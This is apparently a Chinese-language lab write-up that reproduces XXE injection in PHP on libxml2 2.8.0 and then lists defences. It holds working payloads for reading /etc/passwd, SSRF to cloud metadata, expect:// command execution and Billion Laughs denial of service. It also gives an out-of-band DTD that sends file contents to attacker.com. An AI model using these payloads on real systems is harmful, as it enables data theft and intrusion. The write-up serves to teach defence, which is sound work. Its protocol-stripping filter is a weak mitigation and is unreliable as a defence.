AI摘要
XXE漏洞源于libxml2 < 2.9.0时默认开启外部实体解析。攻击者可利用恶意XML读取文件、发起SSRF或执行命令。本文在PHP环境下复现了该漏洞,并介绍了盲XXE、DoS攻击及防御方案。
漏洞概述
XXE 简介
XXE(XML External Entity Injection,XML 外部实体注入)是一种针对解析 XML 输入的应用程序的攻击方式。当 XML 解析器开启了外部实体解析功能,并且攻击者能够控制 XML 输入时,即可通过构造恶意的外部实体声明来读取本地文件、发起 SSRF 请求、执行拒绝服务攻击,甚至在特定条件下实现远程命令执行。
原文标题中的"PHP 外部实体注入"在技术社区中常被用作 XXE 的代称,但严格来说 XXE 是 XML 层面的漏洞,PHP 只是作为受影响的解析环境之一。
漏洞信息
| 项目 | 内容 |
|---|---|
| 漏洞类型 | XML 外部实体注入 (XXE) |
| 根因 | libxml2 默认开启外部实体解析 |
| 影响范围 | libxml2 < 2.9.0 的 PHP 环境(以及所有使用受影响 libxml2 的应用) |
| 修复版本 | libxml2 >= 2.9.0(默认禁用外部实体) |
| 验证环境 | PHP 7.0.30 + libxml 2.8.0 |
| 利用条件 | 应用使用 XML 解析器且未显式禁用外部实体、攻击者能控制 XML 输入 |
漏洞原理
XML 实体机制
XML 允许在 DTD(Document Type Definition,文档类型定义)中声明实体(Entity)。实体类似于编程中的"宏替换"——XML 解析器在解析时会将实体引用展开为预定义的内容:
<!-- 内部实体:引用时替换为固定文本 -->
<!DOCTYPE foo [
<!ENTITY myvar "Hello World">
]>
<root>&myvar;</root>
<!-- 解析后:<root>Hello World</root> --><!-- 外部实体:引用时替换为外部资源的内容 -->
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>
<!-- 解析后:<root>root:x:0:0:root:/root:/bin/bash...</root> -->libxml2 版本分水岭
| libxml2 版本 | 外部实体解析 | 说明 |
|---|---|---|
| < 2.9.0 | 默认开启 | 无需任何特殊配置即可触发 XXE,攻击门槛极低 |
| >= 2.9.0 | 默认关闭 | 除非显式传入LIBXML_NOENT 标志,否则不解析外部实体 |
攻击者控制 XML 输入
│
▼
┌──────────────────────────────────┐
│ POST /simplexml_load_string.php │
│ Content: XXE Payload │
└──────────────┬───────────────────┘
│
▼
┌──────────────────────────────────┐
│ PHP XML 解析器 │
│ (libxml2 < 2.9.0) │
│ 默认开启 LIBXML_NOENT │
└──────────────┬───────────────────┘
│
▼
┌─────────┴─────────┐
│ │
▼ ▼
┌───────────┐ ┌─────────────┐
│ 读取文件 │ │ 发起 SSRF │
│ file:// │ │ http:// │
└───────────┘ └─────────────┘
│ │
▼ ▼
信息泄露 内网探测PHP 中易受 XXE 影响的函数
任何使用 libxml2 作为后端并解析用户输入 XML 的 PHP 函数都有可能受 XXE 影响:
| 函数 / 类 | 说明 |
|---|---|
simplexml_load_string() | SimpleXML 扩展,将 XML 字符串解析为对象 |
simplexml_load_file() | 与上相同,但从文件加载 |
new SimpleXMLElement() | SimpleXMLElement 构造函数 |
DOMDocument::loadXML() | DOM 扩展,从字符串加载 XML |
DOMDocument::load() | 与上相同,但从文件加载 |
xml_parse() | libxml 底层 SAX 解析器 |
环境介绍
| 组件 | 版本 | 备注 |
|---|---|---|
| PHP | 7.0.30 | |
| libxml2 | 2.8.0 | 关键:低于 2.9.0,外部实体默认开启 |
| 靶机 | http://192.168.50.134:8080/ |
libxml 2.8.0 是此环境能够成功复现 XXE 的根本原因。在 libxml 2.9.0+ 环境中,默认不再解析外部实体,此类基础 payload 会直接失效。
漏洞复现
Step 1: 定位 XML 解析入口
靶机 WWW 目录下存在 4 个文件,其中 3 个为 XXE 可利用的 XML 解析端点:
| 文件 | 函数 | XXE 可利用 |
|---|---|---|
dom.php | DOMDocument::loadXML() | 是 |
SimpleXMLElement.php | new SimpleXMLElement() | 是 |
simplexml_load_string.php | simplexml_load_string() | 是 |
以 SimpleXMLElement.php 为例,典型的有漏洞 PHP 代码:
<?php
$data = file_get_contents('php://input'); // 接收用户 POST 的 XML
$xml = new SimpleXMLElement($data); // 直接解析,libxml 2.8.0 默认解析外部实体
echo $xml->name; // 回显解析结果
?>Step 2: 发送 XXE Payload
向 simplexml_load_string.php 发送 POST 请求:
POST /simplexml_load_string.php HTTP/1.1
Host: 192.168.50.134:8080
Content-Type: application/xml
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY>
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>
<name>&xxe;</name>
</root>Payload 结构解析:
| XML 结构 | 说明 |
|---|---|
<?xml version="1.0"?> | XML 声明 |
<!DOCTYPE xxe [...]> | DTD 声明,定义外部实体 |
<!ELEMENT name ANY> | 声明name 元素可包含任意内容 |
<!ENTITY xxe SYSTEM "file:///etc/passwd"> | 核心:声明外部实体 xxe,内容来自本地文件 |
&xxe; | 引用外部实体,触发文件读取 |
Step 3: 读取结果
服务器返回解析后的 XML,其中 &xxe; 被替换为 /etc/passwd 的实际内容:
XXE 攻击面扩展
不同协议的攻击利用
SYSTEM 关键字支持多种协议,每种协议可实现不同的攻击效果:
<!-- 1. 读取本地文件 -->
<!ENTITY xxe SYSTEM "file:///etc/passwd">
<!-- 2. SSRF 内网探测 / 端口扫描 -->
<!ENTITY xxe SYSTEM "http://192.168.1.1:8080/">
<!-- 3. 利用 PHP expect 协议执行命令(需要 expect 扩展) -->
<!ENTITY xxe SYSTEM "expect://id">
<!-- 4. 使用 PHP 包装器读取源码(base64 编码) -->
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=/var/www/html/config.php">
<!-- 5. OOB (Out-of-Band) 外带数据 — 适用于无回显场景 -->
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
%dtd;有回显 vs 盲 XXE
| 类型 | 特征 | payload 复杂度 | 常见场景 |
|---|---|---|---|
| In-band XXE | 服务器直接将文件内容嵌入响应中 | 低 | PHPecho 回显、SOAP 响应、XML API |
| Error-based XXE | 文件内容出现在错误消息中 | 中 | 解析错误路径暴露、日志回显 |
| Blind (OOB) XXE | 通过网络外带数据(DNS/HTTP) | 高 | 无响应回显、仅能触发 HTTP 请求 |
OOB (Out-of-Band) 盲 XXE Payload
当目标没有直接将数据返回到 HTTP 响应时,可以通过外部 DTD 将文件内容外带至攻击者服务器:
恶意 DTD(attacker.com/evil.dtd):
<!ENTITY % all "<!ENTITY send SYSTEM 'http://attacker.com/?data=%file;'>">
%all;发送至目标的 Payload:
<!DOCTYPE foo [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
%dtd;
%send;
]>攻击链路:
- 目标解析外部 DTD
evil.dtd - DTD 中定义
%all实体,内部引用了%file(即文件内容) %all展开后生成send实体,指向http://attacker.com/?data=<文件正文>- 目标发起 HTTP GET 请求 → 攻击者日志中看到完整文件内容
PHP 特有利用技巧
<!-- 读取 PHP 源码(不经过解释器) -->
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=index.php">
<!-- SSRF 到内网 HTTP 服务 -->
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">
<!-- 敏感文件探测 -->
<!ENTITY xxe SYSTEM "file:///proc/self/environ">
<!-- dos 拒绝服务(Billion Laughs 攻击) -->
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
...
]>
<root>&lol9;</root> <!-- 指数级展开 → 内存耗尽 -->延伸阅读
XXE 相关 CVE 纵览
| CVE | 产品 | 类型 | 年份 |
|---|---|---|---|
| CVE-2013-1643 | PHPSOAPClient | XXE → 文件读取 | 2013 |
| CVE-2014-3668 | PHPDOMDocument::$recover | XXE 拒绝服务 | 2014 |
| CVE-2017-9805 | Apache Struts2 REST Plugin | XXE → RCE | 2017 |
| CVE-2018-1259 | Spring Data Commons | XXE | 2018 |
| CVE-2020-29436 | SonarQube | XXE 信息泄露 | 2020 |
| CVE-2021-29447 | WordPress < 5.7.1 | XXE (Media Library) | 2021 |
| CVE-2022-24801 | Twisted Web | XXE | 2022 |
XXE 虽然因 libxml2 2.9.0 的默认配置变更而大幅减少,但在 Java (.NET, SAML) 和遗留 PHP 系统中仍然高发。OWASP Top 10 2017 中 XXE 位列 A4。
PHP 中防御 XXE 的完整方案
1. 禁用外部实体加载
// 推荐方式:全局禁用实体加载
libxml_disable_entity_loader(true);
$xml = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xml);
// ⚠️ 关键:不要传入 LIBXML_NOENT,该标志会强制启用外部实体!
// $dom->loadXML($xml, LIBXML_NOENT); ← 错误!2. 白名单过滤外部协议
// 过滤危险协议关键字的 XML 输入
$dangerous = ['file://', 'php://', 'expect://', 'gopher://', 'dict://'];
$xml = str_ireplace($dangerous, '', $xml);3. 升级 libxml2
确保 PHP 使用的 libxml2 版本 ≥ 2.9.0:
# 查看当前 libxml2 版本
php -i | grep "libxml"
# 输出示例:libxml2 Version => 2.9.144. PHP 配置加固
; php.ini
allow_url_fopen = Off
allow_url_include = Off
disable_functions = expect_popen,expect_pclose5. 安全编码原则
- 避免直接将用户输入传递给 XML 解析器
- 如需解析用户 XML,使用 JSON 等替代格式
- 若必须使用 XML,使用安全的解析器配置:
// PHP 8.0+ 推荐的安全 XML 解析方式
$dom = new DOMDocument();
$dom->loadXML($xml, LIBXML_NONET | LIBXML_NOERROR | LIBXML_NOWARNING);
// LIBXML_NONET:禁止网络访问,阻止 SSRF 和 OOB 攻击6. XXE 检测工具
# 使用 Nuclei 扫描 XXE 漏洞
nuclei -u http://192.168.50.134:8080 \
-t ~/nuclei-templates/http/vulnerabilities/generic/xxe-*
# 使用 Burp Suite 的 Collaborator 检测 Blind XXE
# 在 payload 中嵌入 collaborator 域名,观察 DNS/HTTP 回调参考文献
- OWASP - XML External Entity (XXE) Prevention Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html
- PHP Manual - libxml_disable_entity_loader: https://www.php.net/manual/en/function.libxml-disable-entity-loader.php
- libxml2 2.9.0 Release Notes: https://gitlab.gnome.org/GNOME/libxml2/-/blob/master/NEWS
- PHP Manual - SimpleXML: https://www.php.net/manual/en/book.simplexml.php
- OWASP Top 10 2017 - A4 XML External Entities (XXE): https://owasp.org/www-project-top-ten/2017/A4_2017-XML_External_Entities_(XXE))






